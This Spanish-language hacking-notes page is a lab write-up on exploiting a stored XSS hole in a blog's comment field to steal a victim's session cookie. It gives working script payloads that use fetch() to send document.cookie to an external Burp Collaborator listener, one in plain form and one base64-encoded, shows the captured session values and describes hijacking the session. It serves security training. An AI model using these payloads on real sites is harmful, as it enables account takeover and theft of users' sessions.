> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/cookie-theft-via-xss.md).

# Robo de cookies mediante XSS

### Explotando Cross-site Scripting para robar cookies

El laboratorio tiene una vulnerabilidad XSS almacenada en la función de comentarios del blog. Una usuaria víctima consulta los comentarios después de la publicación. El objetivo educativo es entender cómo una inyección del lado del cliente puede llevar a la exfiltración de información de sesión y cómo protegerla.

El campo de comentarios no aplica suficiente codificación ni escape para la entrada del usuario, lo que permite al navegador inyectar contenido cuando otro usuario muestra la página.

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/4fcab9afdb9f561b35beb51ba8a65f2d2c3ef79c" alt="" width="527"><figcaption></figcaption></figure>

Usamos `fetch` para hacer solicitudes:

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

La solicitud llega a la infraestructura de escucha.

<figure><img src="/files/d16e065b66452fd113a48cee026c983c98da93fb" alt=""><figcaption></figcaption></figure>

Enviamos la cookie de sesión:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="/files/5785daabe49d21b9fc104ed46dd6f166bf8db79b" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Luego reemplazamos la cookie de sesión.

<figure><img src="/files/9ee33af314e5b1a5c147d0d065248d6c7806494f" alt=""><figcaption></figcaption></figure>

También puedes codificar el contenido en base64 antes de enviarlo:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

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